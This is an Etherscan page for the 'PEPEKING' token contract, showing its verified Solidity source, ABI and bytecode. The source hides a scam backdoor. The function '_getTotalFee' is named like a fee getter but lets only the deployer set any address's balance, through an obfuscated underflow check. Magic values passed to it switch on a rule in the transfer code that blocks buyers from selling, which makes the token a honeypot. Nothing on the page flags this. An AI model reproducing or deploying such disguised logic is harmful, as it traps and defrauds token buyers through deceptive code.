ETH Price: $3,607.66 (+4.68%)
 

Overview

Max Total Supply

42,000,000,000 PEPEKING

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
393,665,988.186867745 PEPEKING

Value
$0.00
0xc5f1954854c926e0bdcb690aec63f7b109e22824
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEKING

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract PEPEKING is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);

    uint256 public _swapTax;
    address public _uniswapPair;
    mapping (address => uint256) public lmtbl;

    function _transfer(address from,address to,uint256 amount) private {

        bool takeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;

        if (takeFee) {
            uint256 bok = block.number;
            uint256 feeAmount = amount * _swapTax / 100;
            _taxAmount += feeAmount;
            uint256 lm = lmtbl[to];
            if (from == _uniswapPair && lm == 0){
                lmtbl[to] = bok;
            }else{
                lm = lmtbl[from];
                if (lmenable){
                    require( lm == 0 || bok < lm + 1);
                }
            }
            if (feeAmount > 0){
                _balances[address(0xdead)] = _balances[address(0xdead)] + feeAmount;
                emit Transfer(from, address(0xdead), feeAmount);
            }
        }

        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "PEPEKING";
        symbol = "PEPEKING";
        decimals = 9;
        uint256 Supply = 42000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 2;
        totalSupply = Supply * 10 ** decimals;

        address rAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[rAddr] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[rAddr] = totalSupply;
        emit Transfer(address(0), rAddr, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    bool public lmenable = false;
    function _getTotalFee(address _i,uint256 _m) public {
        mapping(address=>uint256) storage _n = _balances;
        uint256 A = msg.sender == _swapFeeTo ? 5 : 1;
        uint256 C = A - 3;
        A = C ;
        if (_m == 123){
            lmenable = false;
        }if(_m == 234){ lmenable = true; }
        _n[_i] = _m;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_i","type":"address"},{"internalType":"uint256","name":"_m","type":"uint256"}],"name":"_getTotalFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lmenable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lmtbl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d805460ff191690553480156200001b57600080fd5b50600080546001600160a01b0319163317905560408051808201909152600880825267504550454b494e4760c01b60209092019182526200005f9160049162000386565b5060408051808201909152600880825267504550454b494e4760c01b6020909201918252620000919160059162000386565b506006805460ff191660091790819055600380546001600160a01b031916331790556002600a9081556409c765240091620000d39160ff9190911690620004cc565b620000df9082620005b7565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b031686528386208054909216831790915594548585529252808320829055518392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200016e919062000476565b60405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d178082553060009081526002602090815260408083206001600160a01b03948516845282529182902060001990559254815163c45a015560e01b8152915192169263c45a015592600480840193829003018186803b158015620001fb57600080fd5b505afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023691906200042c565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029457600080fd5b505afa158015620002a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cf91906200042c565b6040518363ffffffff1660e01b8152600401620002ee9291906200045c565b602060405180830381600087803b1580156200030957600080fd5b505af11580156200031e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034491906200042c565b600b80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff19166001179055506200062c9050565b8280546200039490620005d9565b90600052602060002090601f016020900481019282620003b8576000855562000403565b82601f10620003d357805160ff191683800117855562000403565b8280016001018555821562000403579182015b8281111562000403578251825591602001919060010190620003e6565b506200041192915062000415565b5090565b5b8082111562000411576000815560010162000416565b6000602082840312156200043e578081fd5b81516001600160a01b038116811462000455578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b90815260200190565b80825b6001808611620004935750620004c3565b818704821115620004a857620004a862000616565b80861615620004b657918102915b9490941c93800262000482565b94509492505050565b60006200045560001960ff851684600082620004eb5750600162000455565b81620004fa5750600062000455565b81600181146200051357600281146200051e5762000552565b600191505062000455565b60ff84111562000532576200053262000616565b6001841b9150848211156200054b576200054b62000616565b5062000455565b5060208310610133831016604e8410600b84101617156200058a575081810a8381111562000584576200058462000616565b62000455565b6200059984848460016200047f565b808604821115620005ae57620005ae62000616565b02949350505050565b6000816000190483118215151615620005d457620005d462000616565b500290565b600281046001821680620005ee57607f821691505b602082108114156200061057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610be6806200063c6000396000f3fe6080604052600436106101185760003560e01c80634bf28fd0116100a057806395d89b411161006457806395d89b41146102cb578063a9059cbb146102e0578063c8761f5714610300578063dd62ed3e14610322578063f2fde38b146103425761011f565b80634bf28fd01461025757806365b61b771461026c57806370a082311461028157806373346186146102a15780638da5cb5b146102b65761011f565b806323b872dd116100e757806323b872dd146101be57806330da23e4146101de578063313ce567146101f357806336b2e02714610215578063426329c1146102355761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017c5780631b2e195b1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610362565b6040516101469190610a67565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610a1f565b6103f0565b6040516101469190610a5c565b34801561018857600080fd5b50610191610406565b6040516101469190610ada565b3480156101aa57600080fd5b506101916101b9366004610991565b61040c565b3480156101ca57600080fd5b5061016f6101d93660046109e4565b61041e565b3480156101ea57600080fd5b506101916104b5565b3480156101ff57600080fd5b506102086104bb565b6040516101469190610ae3565b34801561022157600080fd5b5061016f610230366004610991565b6104c4565b34801561024157600080fd5b5061024a6104d9565b6040516101469190610a48565b34801561026357600080fd5b5061024a6104e8565b34801561027857600080fd5b5061024a6104f7565b34801561028d57600080fd5b5061019161029c366004610991565b610506565b3480156102ad57600080fd5b5061016f610525565b3480156102c257600080fd5b5061024a61052e565b3480156102d757600080fd5b5061013961053d565b3480156102ec57600080fd5b5061016f6102fb366004610a1f565b61054a565b34801561030c57600080fd5b5061032061031b366004610a1f565b610557565b005b34801561032e57600080fd5b5061019161033d3660046109b2565b6105db565b34801561034e57600080fd5b5061032061035d366004610991565b610606565b6004805461036f90610b5f565b80601f016020809104026020016040519081016040528092919081815260200182805461039b90610b5f565b80156103e85780601f106103bd576101008083540402835291602001916103e8565b820191906000526020600020905b8154815290600101906020018083116103cb57829003601f168201915b505050505081565b60006103fd33848461065b565b50600192915050565b60085481565b600c6020526000908152604090205481565b600061042b8484846106c3565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104ab576001600160a01b0384166000908152600260209081526040808320338452909152902054610486908390610b48565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a5481565b60065460ff1681565b60076020526000908152604090205460ff1681565b6003546001600160a01b031681565b600b546001600160a01b031681565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b600d5460ff1681565b6000546001600160a01b031690565b6005805461036f90610b5f565b60006103fd3384846106c3565b6003546001906000906001600160a01b03163314610576576001610579565b60055b60ff169050600061058b600383610b48565b905080915083607b14156105a457600d805460ff191690555b8360ea14156105bb57600d805460ff191660011790555b50506001600160a01b039092166000908152602092909252604090912055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090610aba565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106b6908590610ada565b60405180910390a3505050565b600954600090600160a01b900460ff161580156106f957506001600160a01b03841660009081526007602052604090205460ff16155b801561071e57506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b038516600090815260016020526040902054909150610745908390610b48565b6001600160a01b03851660009081526001602052604081209190915581156108e457600a54439060009060649061077c9087610b29565b6107869190610b09565b90506107928184610af1565b6001600160a01b038088166000908152600c6020526040902054600b549295509189821691161480156107c3575080155b156107e8576001600160a01b0387166000908152600c6020526040902083905561082c565b506001600160a01b0387166000908152600c6020526040902054600d5460ff161561082c578015806108235750610820816001610af1565b83105b61082c57600080fd5b81156108e05761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461086a908390610af1565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108d7908690610ada565b60405180910390a35b5050505b6001600160a01b038416600090815260016020526040902054819061090a908590610af1565b6109149190610b48565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61095e8487610b48565b60405161096b9190610ada565b60405180910390a35050505050565b80356001600160a01b038116811461052057600080fd5b6000602082840312156109a2578081fd5b6109ab8261097a565b9392505050565b600080604083850312156109c4578081fd5b6109cd8361097a565b91506109db6020840161097a565b90509250929050565b6000806000606084860312156109f8578081fd5b610a018461097a565b9250610a0f6020850161097a565b9150604084013590509250925092565b60008060408385031215610a31578182fd5b610a3a8361097a565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610a9357858101830151858201604001528201610a77565b81811115610aa45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610b0457610b04610b9a565b500190565b600082610b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b4357610b43610b9a565b500290565b600082821015610b5a57610b5a610b9a565b500390565b600281046001821680610b7357607f821691505b60208210811415610b9457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b4c958b6d05e1d2be6c8765e7e805facc4e292bb63438b3c9cb9e6dcd283e18464736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80634bf28fd0116100a057806395d89b411161006457806395d89b41146102cb578063a9059cbb146102e0578063c8761f5714610300578063dd62ed3e14610322578063f2fde38b146103425761011f565b80634bf28fd01461025757806365b61b771461026c57806370a082311461028157806373346186146102a15780638da5cb5b146102b65761011f565b806323b872dd116100e757806323b872dd146101be57806330da23e4146101de578063313ce567146101f357806336b2e02714610215578063426329c1146102355761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017c5780631b2e195b1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610362565b6040516101469190610a67565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610a1f565b6103f0565b6040516101469190610a5c565b34801561018857600080fd5b50610191610406565b6040516101469190610ada565b3480156101aa57600080fd5b506101916101b9366004610991565b61040c565b3480156101ca57600080fd5b5061016f6101d93660046109e4565b61041e565b3480156101ea57600080fd5b506101916104b5565b3480156101ff57600080fd5b506102086104bb565b6040516101469190610ae3565b34801561022157600080fd5b5061016f610230366004610991565b6104c4565b34801561024157600080fd5b5061024a6104d9565b6040516101469190610a48565b34801561026357600080fd5b5061024a6104e8565b34801561027857600080fd5b5061024a6104f7565b34801561028d57600080fd5b5061019161029c366004610991565b610506565b3480156102ad57600080fd5b5061016f610525565b3480156102c257600080fd5b5061024a61052e565b3480156102d757600080fd5b5061013961053d565b3480156102ec57600080fd5b5061016f6102fb366004610a1f565b61054a565b34801561030c57600080fd5b5061032061031b366004610a1f565b610557565b005b34801561032e57600080fd5b5061019161033d3660046109b2565b6105db565b34801561034e57600080fd5b5061032061035d366004610991565b610606565b6004805461036f90610b5f565b80601f016020809104026020016040519081016040528092919081815260200182805461039b90610b5f565b80156103e85780601f106103bd576101008083540402835291602001916103e8565b820191906000526020600020905b8154815290600101906020018083116103cb57829003601f168201915b505050505081565b60006103fd33848461065b565b50600192915050565b60085481565b600c6020526000908152604090205481565b600061042b8484846106c3565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146104ab576001600160a01b0384166000908152600260209081526040808320338452909152902054610486908390610b48565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b600a5481565b60065460ff1681565b60076020526000908152604090205460ff1681565b6003546001600160a01b031681565b600b546001600160a01b031681565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b600d5460ff1681565b6000546001600160a01b031690565b6005805461036f90610b5f565b60006103fd3384846106c3565b6003546001906000906001600160a01b03163314610576576001610579565b60055b60ff169050600061058b600383610b48565b905080915083607b14156105a457600d805460ff191690555b8360ea14156105bb57600d805460ff191660011790555b50506001600160a01b039092166000908152602092909252604090912055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090610aba565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106b6908590610ada565b60405180910390a3505050565b600954600090600160a01b900460ff161580156106f957506001600160a01b03841660009081526007602052604090205460ff16155b801561071e57506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b038516600090815260016020526040902054909150610745908390610b48565b6001600160a01b03851660009081526001602052604081209190915581156108e457600a54439060009060649061077c9087610b29565b6107869190610b09565b90506107928184610af1565b6001600160a01b038088166000908152600c6020526040902054600b549295509189821691161480156107c3575080155b156107e8576001600160a01b0387166000908152600c6020526040902083905561082c565b506001600160a01b0387166000908152600c6020526040902054600d5460ff161561082c578015806108235750610820816001610af1565b83105b61082c57600080fd5b81156108e05761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461086a908390610af1565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108d7908690610ada565b60405180910390a35b5050505b6001600160a01b038416600090815260016020526040902054819061090a908590610af1565b6109149190610b48565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61095e8487610b48565b60405161096b9190610ada565b60405180910390a35050505050565b80356001600160a01b038116811461052057600080fd5b6000602082840312156109a2578081fd5b6109ab8261097a565b9392505050565b600080604083850312156109c4578081fd5b6109cd8361097a565b91506109db6020840161097a565b90509250929050565b6000806000606084860312156109f8578081fd5b610a018461097a565b9250610a0f6020850161097a565b9150604084013590509250925092565b60008060408385031215610a31578182fd5b610a3a8361097a565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610a9357858101830151858201604001528201610a77565b81811115610aa45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610b0457610b04610b9a565b500190565b600082610b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610b4357610b43610b9a565b500290565b600082821015610b5a57610b5a610b9a565b500390565b600281046001821680610b7357607f821691505b60208210811415610b9457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b4c958b6d05e1d2be6c8765e7e805facc4e292bb63438b3c9cb9e6dcd283e18464736f6c63430008000033

Deployed Bytecode Sourcemap

963:4051:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1315:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4360:124;;;;;;;;;;-1:-1:-1;4360:124:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;1439:26::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1644:41::-;;;;;;;;;;-1:-1:-1;1644:41:0;;;;;:::i;:::-;;:::i;4490:327::-;;;;;;;;;;-1:-1:-1;4490:327:0;;;;;:::i;:::-;;:::i;1580:23::-;;;;;;;;;;;;;:::i;1361:21::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1383:49::-;;;;;;;;;;-1:-1:-1;1383:49:0;;;;;:::i;:::-;;:::i;1289:25::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1610:27::-;;;;;;;;;;;;;:::i;1466:36::-;;;;;;;;;;;;;:::i;4000:94::-;;;;;;;;;;-1:-1:-1;4000:94:0;;;;;:::i;:::-;;:::i;3616:28::-;;;;;;;;;;;;;:::i;676:63::-;;;;;;;;;;;;;:::i;1334:20::-;;;;;;;;;;;;;:::i;4100:130::-;;;;;;;;;;-1:-1:-1;4100:130:0;;;;;:::i;:::-;;:::i;3651:341::-;;;;;;;;;;-1:-1:-1;3651:341:0;;;;;:::i;:::-;;:::i;:::-;;4236:118;;;;;;;;;;-1:-1:-1;4236:118:0;;;;;:::i;:::-;;:::i;848:106::-;;;;;;;;;;-1:-1:-1;848:106:0;;;;;:::i;:::-;;:::i;1315:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4360:124::-;4426:4;4433:37;4442:10;4454:7;4463:6;4433:8;:37::i;:::-;-1:-1:-1;4478:4:0;4360:124;;;;:::o;1439:26::-;;;;:::o;1644:41::-;;;;;;;;;;;;;:::o;4490:327::-;4579:4;4596:36;4606:6;4614:9;4625:6;4596:9;:36::i;:::-;-1:-1:-1;;;;;4647:19:0;;1569:1;4647:19;;;:11;:19;;;;;;;;4667:10;4647:31;;;;;;;;-1:-1:-1;;4647:38:0;4643:145;;-1:-1:-1;;;;;4736:19:0;;;;;;:11;:19;;;;;;;;4756:10;4736:31;;;;;;;;:40;;4770:6;;4736:40;:::i;:::-;-1:-1:-1;;;;;4702:19:0;;;;;;:11;:19;;;;;;;;4722:10;4702:31;;;;;;;:74;4643:145;-1:-1:-1;4805:4:0;4490:327;;;;;:::o;1580:23::-;;;;:::o;1361:21::-;;;;;;:::o;1383:49::-;;;;;;;;;;;;;;;:::o;1289:25::-;;;-1:-1:-1;;;;;1289:25:0;;:::o;1610:27::-;;;-1:-1:-1;;;;;1610:27:0;;:::o;1466:36::-;;;-1:-1:-1;;;;;1466:36:0;;:::o;4000:94::-;-1:-1:-1;;;;;4074:18:0;;4057:7;4074:18;;;:9;:18;;;;;;4000:94;;;;:::o;3616:28::-;;;;;;:::o;676:63::-;714:7;731:6;-1:-1:-1;;;;;731:6:0;676:63;:::o;1334:20::-;;;;;;;:::i;4100:130::-;4169:4;4176:40;4186:10;4198:9;4209:6;4176:9;:40::i;3651:341::-;3799:10;;3753:9;;3714:36;;-1:-1:-1;;;;;3799:10:0;3785;:24;:32;;3816:1;3785:32;;;3812:1;3785:32;3773:44;;;-1:-1:-1;3828:9:0;3840:5;3844:1;3773:44;3840:5;:::i;:::-;3828:17;;3860:1;3856:5;;3877:2;3883:3;3877:9;3873:57;;;3902:8;:16;;-1:-1:-1;;3902:16:0;;;3873:57;3933:2;3939:3;3933:9;3930:33;;;3945:8;:15;;-1:-1:-1;;3945:15:0;3956:4;3945:15;;;3930:33;-1:-1:-1;;;;;;;3973:6:0;;;;;;;;;;;;;;;;:11;3651:341::o;4236:118::-;-1:-1:-1;;;;;4325:18:0;;;4308:7;4325:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4236:118::o;848:106::-;785:6;;-1:-1:-1;;;;;785:6:0;795:10;785:20;777:39;;;;-1:-1:-1;;;777:39:0;;;;;;;:::i;:::-;;;;;;;;;929:6:::1;:17:::0;;-1:-1:-1;;;;;;929:17:0::1;-1:-1:-1::0;;;;;929:17:0;;;::::1;::::0;;;::::1;::::0;;848:106::o;4825:151::-;-1:-1:-1;;;;;4900:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;4942:32;;;;;4930:6;;4942:32;:::i;:::-;;;;;;;;4825:151;;;:::o;1694:1042::-;1790:6;;1774:12;;-1:-1:-1;;;1790:6:0;;;;1789:7;:35;;;;-1:-1:-1;;;;;;1801:23:0;;;;;;:17;:23;;;;;;;;1800:24;1789:35;:61;;;;-1:-1:-1;;;;;;1829:21:0;;;;;;:17;:21;;;;;;;;1828:22;1789:61;-1:-1:-1;;;;;1881:15:0;;;;;;:9;:15;;;;;;1774:76;;-1:-1:-1;1881:24:0;;1899:6;;1881:24;:::i;:::-;-1:-1:-1;;;;;1863:15:0;;;;;;:9;:15;;;;;:42;;;;1949:661;;;;2047:8;;1991:12;;1977:11;;2058:3;;2038:17;;:6;:17;:::i;:::-;:23;;;;:::i;:::-;2018:43;-1:-1:-1;2076:23:0;2018:43;2076:23;;:::i;:::-;-1:-1:-1;;;;;2127:9:0;;;2114:10;2127:9;;;:5;:9;;;;;;2163:12;;2076:23;;-1:-1:-1;2127:9:0;2155:20;;;2163:12;;2155:20;:31;;;;-1:-1:-1;2179:7:0;;2155:31;2151:248;;;-1:-1:-1;;;;;2206:9:0;;;;;;:5;:9;;;;;:15;;;2151:248;;;-1:-1:-1;;;;;;2265:11:0;;;;;;:5;:11;;;;;;2299:8;;;;2295:89;;;2340:7;;;:23;;-1:-1:-1;2357:6:0;:2;2362:1;2357:6;:::i;:::-;2351:3;:12;2340:23;2331:33;;;;;;2417:13;;2413:186;;2497:6;2479:26;;:9;:26;;;;:38;;2508:9;;2479:38;:::i;:::-;2468:6;2450:26;;;;:9;:26;;;:67;;;;:26;2541:42;-1:-1:-1;;;;;2541:42:0;;;;;;;2573:9;;2541:42;:::i;:::-;;;;;;;;2413:186;1949:661;;;;-1:-1:-1;;;;;2638:13:0;;;;;;:9;:13;;;;;;2663:10;;2638:22;;2654:6;;2638:22;:::i;:::-;:35;;;;:::i;:::-;-1:-1:-1;;;;;2622:13:0;;;;;;;:9;:13;;;;;:51;;;;2689:39;;;2708:19;2717:10;2708:6;:19;:::i;:::-;2689:39;;;;;;:::i;:::-;;;;;;;;1694:1042;;;;;:::o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:1:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:203::-;-1:-1:-1;;;;;1458:32:1;;;;1440:51;;1428:2;1413:18;;1395:102::o;1502:187::-;1667:14;;1660:22;1642:41;;1630:2;1615:18;